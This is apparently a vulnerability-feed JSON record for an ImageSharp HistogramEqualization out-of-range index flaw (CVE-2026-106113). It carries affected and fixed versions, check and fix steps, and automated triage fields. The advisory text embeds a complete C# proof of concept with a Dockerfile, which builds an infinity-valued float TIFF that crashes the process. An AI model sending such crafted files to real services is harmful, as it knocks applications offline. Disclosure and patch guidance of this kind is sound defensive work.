{"id":"CVE-2026-106113","kind":"vulnerability","aliases":["CVE-2026-106113","GHSA-j3p4-wp97-rph4"],"related":[],"title":"ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index","description":"### Summary\n\n`SixLabors.ImageSharp` can terminate a process when an application decodes\nan attacker-supplied 32-bit floating-point TIFF as `Image<HalfVector4>` and applies\n`HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range\n`HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based\nhistogram index without validating that result, reaching an unsafe out-of-range\naccess.\n\nThis report covers `HistogramEqualization` only. It does not claim Adaptive\nHistogram Equalization or AutoLevel behavior.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected range: `>= 2.0.0, <= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nTIFF decoding first shipped in v2.0.0; v1.0.4 has no TIFF decoder. The unsafe luminance-derived histogram index is present from v2.0.0 through v4.1.1. The positive-infinity TIFF PoC terminates published 2.0.0, 3.1.12, 4.0.0, and 4.1.1 with `AccessViolationException`, while the finite `0.5` control completes on each tested release.\n### Details\n\n[`ColorNumerics.GetBT709Luminance`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Common/Helpers/ColorNumerics.cs#L24-L30) can produce a luminance that does not map to a valid histogram index. [`GrayscaleLevelsRowOperation.Invoke`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Processing/Processors/Normalization/GrayscaleLevelsRowOperation%7BTPixel%7D.cs#L47-L62) then uses that result as an unchecked `Unsafe.Add` offset into the histogram.\n\nThe reproduction reaches this code through the public `HistogramEqualization()` extension. It does not test or claim the Adaptive Histogram Equalization or `AutoLevel` paths.\n\n### Tested environment\n\nThe reproduction uses the DLL in the published NuGet 4.1.1 package:\n\n```text\nSixLabors.ImageSharp.dll SHA-256:\nc50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f\nRuntime: .NET 8.0.30 (linux-arm64)\nSDK: 8.0.424\nOS: Debian GNU/Linux 12 (bookworm), Docker\n```\n\n### Reproduction\n\nBuild the supplied Dockerfile and run the exploit. The harness creates a valid\n8x1 uncompressed, 32-bit IEEE floating-point TIFF whose samples are positive infinity,\ndecodes it through the public API, and invokes `HistogramEqualization()`.\n\nObserved result:\n\n```text\nmode=exploit tiffBytes=166 sample=Infinity\ndecoded=8x1 pixel=<Infinity, Infinity, Infinity, 1>\nFatal error. System.AccessViolationException: Attempted to read or write protected memory.\n...\nat SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke\n...\nat SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization\nDocker exit status: 133\n```\n\nThe control is identical except samples are `0.5`:\n\n```text\nmode=control tiffBytes=166 sample=0.5\ndecoded=8x1 pixel=<0.5, 0.5, 0.5, 1>\ncompleted\nDocker exit status: 0\n```\n\nWhen the same exploit binary was invoked through a shell inside the container,\nthe shell printed `Aborted` and reported status 134. The direct `docker run`\nresult above is the result for the supplied Docker commands.\n\nNo active exploitation is known.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.PixelFormats;\nusing SixLabors.ImageSharp.Processing;\n\nstatic class Program\n{\n    private static void AddEntry(List<byte> ifd, ushort tag, ushort type, uint count, uint value)\n    {\n        ifd.AddRange(BitConverter.GetBytes(tag));\n        ifd.AddRange(BitConverter.GetBytes(type));\n        ifd.AddRange(BitConverter.GetBytes(count));\n        ifd.AddRange(BitConverter.GetBytes(value));\n    }\n\n    // Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples.\n    private static byte[] BuildTiff(float sample)\n    {\n        const int width = 8;\n        const int entries = 10;\n        const int ifdOffset = 8;\n        const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4;\n        List<byte> file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00];\n        List<byte> ifd = [];\n        ifd.AddRange(BitConverter.GetBytes((ushort)entries));\n        const ushort Short = 3, Long = 4;\n        AddEntry(ifd, 256, Long, 1, width);             // ImageWidth\n        AddEntry(ifd, 257, Long, 1, 1);                 // ImageLength\n        AddEntry(ifd, 258, Short, 1, 32);               // BitsPerSample\n        AddEntry(ifd, 259, Short, 1, 1);                // Compression = none\n        AddEntry(ifd, 262, Short, 1, 1);                // Photometric = BlackIsZero\n        AddEntry(ifd, 273, Long, 1, pixelOffset);       // StripOffsets\n        AddEntry(ifd, 277, Short, 1, 1);                // SamplesPerPixel\n        AddEntry(ifd, 278, Long, 1, 1);                 // RowsPerStrip\n        AddEntry(ifd, 279, Long, 1, width * 4);         // StripByteCounts\n        AddEntry(ifd, 339, Short, 1, 3);                // SampleFormat = IEEE float\n        ifd.AddRange([0, 0, 0, 0]);\n        file.AddRange(ifd);\n        for (int i = 0; i < width; i++)\n        {\n            file.AddRange(BitConverter.GetBytes(sample));\n        }\n\n        return file.ToArray();\n    }\n\n    private static void Main(string[] args)\n    {\n        string mode = args.FirstOrDefault() ?? \"exploit\";\n        float sample = mode == \"control\" ? 0.5F : float.PositiveInfinity;\n        byte[] tiff = BuildTiff(sample);\n        Console.Error.WriteLine($\"mode={mode} tiffBytes={tiff.Length} sample={sample}\");\n\n        using Image<HalfVector4> image = Image.Load<HalfVector4>(tiff);\n        Console.Error.WriteLine($\"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}\");\n        image.Mutate(x => x.HistogramEqualization());\n        Console.Error.WriteLine(\"completed\");\n    }\n}\n\n```\n\nProject file:\n\n```xml\n<Project Sdk=\"Microsoft.NET.Sdk\">\n  <PropertyGroup>\n    <OutputType>Exe</OutputType>\n    <TargetFramework>net8.0</TargetFramework>\n    <ImplicitUsings>enable</ImplicitUsings>\n    <Nullable>enable</Nullable>\n  </PropertyGroup>\n  <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->\n  <ItemGroup>\n    <Reference Include=\"SixLabors.ImageSharp\">\n      <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System.IO.Hashing\">\n      <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>\n    </Reference>\n  </ItemGroup>\n</Project>\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY j3p4.csproj Program.cs ./\nRUN printf '%s\\n' '<Project Sdk=\"Microsoft.NET.Sdk\"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /></ItemGroup></Project>' > fetch.csproj \\\n    && dotnet restore fetch.csproj --nologo \\\n    && rm fetch.csproj \\\n    && dotnet build j3p4.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/j3p4.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-j3p4-poc .\ndocker run --rm imagesharp-j3p4-poc exploit\ndocker run --rm imagesharp-j3p4-poc control\n```","summary":"ImageSharp's HistogramEqualization computes a histogram index from pixel luminance without validating it, so a crafted 32-bit float TIFF with infinity samples causes an out-of-range memory access. The reported result is a process crash (AccessViolationException), and the sources do not claim code execution.","severity":"high","cvss":7.5,"epss":0.0039,"exploited":false,"exploited_at":null,"products":[{"name":"SixLabors.ImageSharp","fixed":["3.2.0"],"affected":">= 2.0.0, < 3.2.0","ecosystem":"nuget"},{"name":"SixLabors.ImageSharp","fixed":["4.1.2"],"affected":">= 4.0.0, < 4.1.2","ecosystem":"nuget"},{"name":"sixlabors imagesharp","fixed":["3.2.0"],"affected":">= 2.0.0, < 3.2.0","ecosystem":"vendor"},{"name":"sixlabors imagesharp","fixed":["4.1.2"],"affected":">= 4.0.0, < 4.1.2","ecosystem":"vendor"}],"ecosystems":["nuget","vendor"],"tags":["cwe-787","dotnet","imagesharp","nuget","package","self-hosted"],"not_affected_if":["no-histogram-equalization","no-tiff-input","up-to-date-version"],"how_to_check":"- Run `dotnet list package` in the project and look for `SixLabors.ImageSharp` at a version in the affected range (`>= 2.0.0, < 3.2.0` or `>= 4.0.0, < 4.1.2`).\n- Search code for calls to `HistogramEqualization(` on images loaded from untrusted TIFF input.\n- Check whether the app decodes float TIFFs as `Image<HalfVector4>` from user-supplied files.","fix":"- Upgrade `SixLabors.ImageSharp` to `3.2.0` on the 3.x line or `4.1.2` on the 4.x line.\n- Until upgraded, reject or skip `HistogramEqualization()` on images from untrusted TIFF uploads.","status":"open","published_at":"2026-10-06T18:16:52+00:00","first_seen_at":"2026-10-26T14:21:29+00:00","triaged_at":"2026-10-26T14:21:42+00:00","updated_at":"2026-10-26T14:30:37+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-26T14:21:42Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade `SixLabors.ImageSharp` to `3.2.0` on the 3.x line or `4.1.2` on the 4.x line.\n- Until upgraded, reject or skip `HistogramEqualization()` on images from untrusted TIFF uploads.","reach":"internet","title":"ImageSharp: histogram equalization crashes process on crafted float TIFF","impact":"medium","summary":"ImageSharp's HistogramEqualization computes a histogram index from pixel luminance without validating it, so a crafted 32-bit float TIFF with infinity samples causes an out-of-range memory access. The reported result is a process crash (AccessViolationException), and the sources do not claim code execution.","category":"package","nicknames":[],"who_cares":["dotnet","nuget","imagesharp","self-hosted"],"confidence":0.8,"needs_auth":"unknown","worst_case":"process crashes on a crafted TIFF; memory corruption not claimed","analyst_note":"","how_to_check":"- Run `dotnet list package` in the project and look for `SixLabors.ImageSharp` at a version in the affected range (`>= 2.0.0, < 3.2.0` or `>= 4.0.0, < 4.1.2`).\n- Search code for calls to `HistogramEqualization(` on images loaded from untrusted TIFF input.\n- Check whether the app decodes float TIFFs as `Image<HalfVector4>` from user-supplied files.","needs_analyst":false,"not_affected_if":["no-tiff-input","no-histogram-equalization","up-to-date-version"],"who_is_affected":"Applications that load TIFF images from untrusted sources with ImageSharp and call HistogramEqualization on the decoded image, using the affected versions. The sources describe the crash on the public HistogramEqualization path only; Adaptive Histogram Equalization and AutoLevel are not claimed. Teams that do not decode TIFF input or do not call HistogramEqualization can skip it.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"high"},"cost_usd":0.001033,"input_tokens":6713,"output_tokens":723,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-106113':14A,22A '-2026':13A,21A '-256':311C '-787':30B '/sixlabors/imagesharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/imagesharp/common/helpers/colornumerics.cs#l24-l30)':242C '/sixlabors/imagesharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/imagesharp/processing/processors/normalization/grayscalelevelsrowoperation%7btpixel%7d.cs#l47-l62)':259C '0':425C '0.5':231C,406C,413C,417C,418C,419C '0815358f9202a78bc7f3b83e19282dc3654b500f':184C '1':379C,420C '1.invoke':392C '10':530C '12':324C '133':398C '134':446C '166':370C,411C '2.0.0':181C,221C '3.1.12':222C '32':54B,99C,343C,512C '4.0.0':223C '4.1.1':182C,225C,306C '8':526C '8.0.30':315C '8.0.424':320C '8x1':341C,374C,415C,508C 'abort':442C 'access':68B,156C 'accessviolationexcept':76B,227C 'activ':462C 'adapt':166C,289C 'addentri':483C 'affect':172C,179C 'api':360C 'appli':108C 'applic':93C 'arm64':318C 'attack':97C 'attacker-suppli':96C 'attempt':383C 'autolevel':170C,293C 'base':142C 'behavior':171C 'binari':430C 'bit':55B,100C,344C,513C 'bitconverter.getbytes':495C,498C,501C,504C 'bookworm':325C 'build':328C 'buildtiff':520C 'byte':519C 'c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f':312C 'caus':61B 'claim':82B,165C,287C 'class':478C 'code':83B,276C 'colornumerics.getbt709luminance':239C 'command':460C 'commit':183C 'complet':233C,421C,466C 'compon':129C 'comput':41B 'const':523C,527C 'contain':438C,511C 'control':232C,400C,409C 'correspond':185C 'count':491C,502C 'cover':159C 'craft':53B 'crash':75B 'creat':338C 'csharp':470C 'cve':12A,20A 'cwe':29B 'debian':322C 'decod':94C,190C,199C,355C,373C,414C 'depend':130C 'deriv':138C,204C 'detail':238C 'direct':448C 'dll':301C 'docker':326C,395C,422C,449C,459C 'dockerfil':331C 'dotnet':31B 'entri':529C 'environ':296C 'equal':136C,168C,291C 'error':381C 'except':403C 'execut':84B 'exit':396C,423C 'exploit':335C,368C,429C,463C 'extens':281C 'fatal':380C 'file':468C 'finit':121C,230C 'first':191C 'float':56B,102C,347C,515C,521C 'floating-point':101C,346C 'ghsa':16A 'ghsa-j3p4-wp97-rph4':15A 'github.com':241C,258C 'github.com/sixlabors/imagesharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/imagesharp/common/helpers/colornumerics.cs#l24-l30)':240C 'github.com/sixlabors/imagesharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/imagesharp/processing/processors/normalization/grayscalelevelsrowoperation%7btpixel%7d.cs#l47-l62)':257C 'gnu/linux':323C 'grayscal':509C 'grayscalelevelsrowoperation.invoke':256C 'halfvector4':128C 'har':337C 'histogram':10A,43B,135C,143C,167C,205C,254C,271C,290C 'histogramequ':2A,40B,109C,160C,280C,363C 'host':37B 'ident':402C 'ieee':111C,345C,514C 'ifd':485C 'ifd.addrange':494C,497C,500C,503C 'imag':106C 'imagesharp':1A,26A,28A,32B,38B 'index':11A,44B,144C,206C,255C 'infin':59B,114C,216C,354C,372C,376C,377C,378C 'insid':436C 'int':524C,528C 'invok':362C,432C 'j3p4':17A 'known':465C 'linux':317C 'linux-arm64':316C 'list':484C 'lumin':6A,47B,141C,203C,246C 'luminance-bas':140C 'luminance-deriv':202C 'map':250C 'memori':67B,389C 'mode':367C,408C 'net':314C 'non':120C 'non-finit':119C 'nuget':33B,178C,305C 'observ':364C 'offset':268C 'os':321C 'otherwis':123C 'out-of-rang':63B,124C,152C 'packag':34B,173C,176C,307C 'path':137C,294C 'pixel':46B,375C,416C 'poc':218C,467C 'point':103C,348C 'posit':113C,215C,353C 'positive-infin':112C,214C 'present':208C 'print':441C 'privat':480C,517C 'process':74B,90C 'produc':244C 'program':479C 'program.cs':469C 'protect':388C 'public':279C,359C 'publish':220C,304C 'rang':66B,127C,155C,180C 'reach':117C,149C,274C 'read':385C 'releas':133C,187C,237C 'report':70B,158C,444C 'reproduct':273C,298C,327C 'result':71B,148C,263C,365C,451C,455C 'rph4':19A 'run':333C,450C 'runtim':313C 'sampl':60B,116C,351C,371C,404C,412C,516C,522C 'sdk':319C 'self':36B 'self-host':35B 'sha':310C 'shell':435C,440C 'ship':192C 'sixlabors':25A,27A 'sixlabors.imagesharp':23A,24A,86C,177C,472C 'sixlabors.imagesharp.dll':309C 'sixlabors.imagesharp.pixelformats':474C 'sixlabors.imagesharp.processing':476C 'sixlabors.imagesharp.processing.histogramequalizationextensions.histogramequalization':394C 'sixlabors.imagesharp.processing.processors.normalization.grayscalelevelsrowoperation':391C 'sourc':79B 'static':477C,481C,518C 'status':397C,424C,445C 'summari':85C 'suppli':98C,330C,458C 'system.accessviolationexception':382C 'tag':487C,496C 'termin':88C,219C 'test':236C,285C,295C 'text':308C,366C,407C 'tiff':57B,104C,115C,189C,198C,217C,349C,510C 'tiffbyt':369C,410C 'type':489C,499C 'uint':490C,492C 'uncheck':9A,266C 'uncompress':342C,507C 'unsaf':151C,201C 'unsafe.add':267C 'unvalid':5A 'use':3A,261C,299C,471C,473C,475C 'ushort':486C,488C 'v1.0.4':195C 'v2.0.0':194C,210C 'v4.1.1':188C,212C 'valid':49B,146C,253C,340C,506C 'valu':493C,505C 'version':175C 'void':482C 'whose':350C 'width':525C 'without':48B,145C 'wp97':18A 'write':387C","nicknames":[],"mitigations":[],"who_affected":"Applications that load TIFF images from untrusted sources with ImageSharp and call HistogramEqualization on the decoded image, using the affected versions. The sources describe the crash on the public HistogramEqualization path only; Adaptive Histogram Equalization and AutoLevel are not claimed. Teams that do not decode TIFF input or do not call HistogramEqualization can skip it.","tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-06T18:16:52+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-j3p4-wp97-rph4","url":"https://github.com/advisories/GHSA-j3p4-wp97-rph4","severity":"high","published_at":"2026-10-07T20:24:23+00:00","modified_at":"2026-10-26T14:19:00+00:00","first_seen_at":"2026-10-26T14:21:29+00:00","fetched_at":"2026-10-26T14:21:29+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-106113","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106113","severity":null,"published_at":"2026-10-06T18:16:52+00:00","modified_at":"2026-10-24T01:34:56+00:00","first_seen_at":"2026-10-26T14:30:37+00:00","fetched_at":"2026-10-26T14:30:37+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}